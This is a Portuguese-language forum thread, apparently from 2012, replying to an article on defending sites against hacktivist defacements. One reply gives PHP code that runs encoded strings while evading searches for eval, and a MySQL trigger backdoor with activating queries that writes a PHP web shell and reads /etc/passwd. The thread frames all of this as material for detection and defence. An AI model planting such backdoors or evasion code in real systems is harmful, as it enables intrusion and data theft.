Unconfigured Ad Widget

**FixeCrewns** · 08-01-2012, 13:03

bom conheçimento em php eu era do GrayHat mais sair brigamos sobre açoes etc mais agora sou subi de um grupo parçeria com anonymous e outros mais ese codico de prroteger e legal rsrs mais nao eziste so esa falha alguma pessoas Owna site com outras falhas istitulado como ex:falha no site =index? sem php ow outras falhas tanbem conheço varios tipos de falhas graves de site rsrs mais ese codico ai vai ajudar as negadas pararem com Defacer isso e lammer de mais

**mateus558** · 09-01-2012, 19:51

Boas Dicas! XD

**ghost in the shell** · 09-01-2012, 23:25

1 -
A maioria das shells vai ter um encoder (normalmente base64).Procurar pela função eval não é totalmente confiavel já que outras funções e estruturas podem ser usadas para executar strings,como :create_function,call_user_func,preg_replace,a estrutura include com o url wrapper data,etc.Existem também várias maneiras de executar funções (estruturas não) através de strings e maneiras de burlar procuras por string como a ReflectionFunction,meta-programação,forward_static_call_array,truques contra o parser do PHP,etc...
Exemplificando abaixo:

Código:

<?php
//echo 'ABC';
$code = my_decode('--1aDDLKY');

//Executando strings
preg_replace('#(.*)#e', 'eval(\'$1\')', $code);

$f = create_function('', $code);
$f();

include 'data:;base64,'.base64_encode($code);

//Burlando pesquisa de funções
$f = 'create_function';
$f = $f('', $code);
$f();

class Foo
{
    static function bar($code)
    { 
        $f = forward_static_call('create_function', '', $code);
        $f();
    }
}
Foo::bar($code);

$f = new ReflectionFunction('create_function');
$f = $f->invokeArgs(array('', $code));
$f();
?>

Também é possivel saber que funções estão desativadas através do ReflectionFunction.
Uma busca completa incluiria: procurar por dispatchers de funções e fazer em cojunto uma varredura com a ferramenta NeoPI (uma complementará a outra,sendo a leitura manual de arquivos com esses dispatchers bem importante) seguida por uma busca pelas funções possivelmente maliciosas em si.
A maneira mais confiavel é sempre guardar um checksum dos arquivos e pastas+arquivos e checar esses checksums contra os atuais frequentemente.Existem IDS que fazem isso,como o tripwire e AIDE.Isso também barra vários outros backdoors e etc...

2 -
Sem dúvida.O pentest manual também é bem importante nessa fase.
Quanto ao banco de dados,dar uma atenção especial a triggers,já que backdoors podem ser colocados também no banco de dados ou corroborados por ele.Pseudo-código pro mysql servindo de exemplo,só pra atiçar a curiosidade:

Código:

/*Necessita de privilegios*/
delimiter ;;
CREATE TRIGGER backdoor
AFTER INSERT ON usuarios
FOR EACH ROW
BEGIN
    IF new.senha = 'php_bd' THEN
        /*new.usuario age como caminho e new.indicacao_outros como codigo*/
        SELECT new.indicacao_outros INTO OUTFILE new.usuario;
    ELSE
        IF new.senha = 'read_file_bd' THEN
            /*12 eh o id da noticia que servira para a visualizacao da query*/
            UPDATE noticias SET texto=(SELECT read_file(new.indicacao_outros)) WHERE id = 12;
        ELSE
            IF new.senha = 'sql_bd' THEN
                /*Nao existe dynamic SQL em triggers,use a imaginacao*/
                /*12 eh o id da noticia que servira para a visualizacao da query*/
                UPDATE noticias SET texto=(SELECT GROUP_CONCAT(*) FROM information_schema.columns) WHERE id=12;
            END IF;
        END IF;
    END IF;
END;;

//Querys como essas ativariam os backdoors
INSERT INTO usuarios VALUES('/var/www/php_bd.php', 'php_bd', '<?php eval($_GET["CMD"]); ?>');
INSERT INTO usuarios VALUES('qualquer coisa', 'read_file_bd', '/etc/passwd');
INSERT INTO usuarios VALUES('qualquer coisa', 'sql_bd', 'qualquer coisa');

3 -
Sem dúvida.Só não pode confiar totalmente nelas.
Ah,e o uso de honeypots é interessante também.

4 -
Certissimo.

Não adicionei novos pontos mas acho que contribui pros pontos do artigo.
Abraço ae.

**ghost in the shell** · 09-01-2012, 23:28

FixeCrewns,porra cara,escreve direito.
E não coloquei mais pontos por preguiça. : D

Unconfigured Ad Widget

Anúncio

Como sobreviver aos ataques de "hacktivistas" e pichadores virtuais de plantão

Artigo Como sobreviver aos ataques de "hacktivistas" e pichadores virtuais de plantão

Comment

Comment

Comment

Comment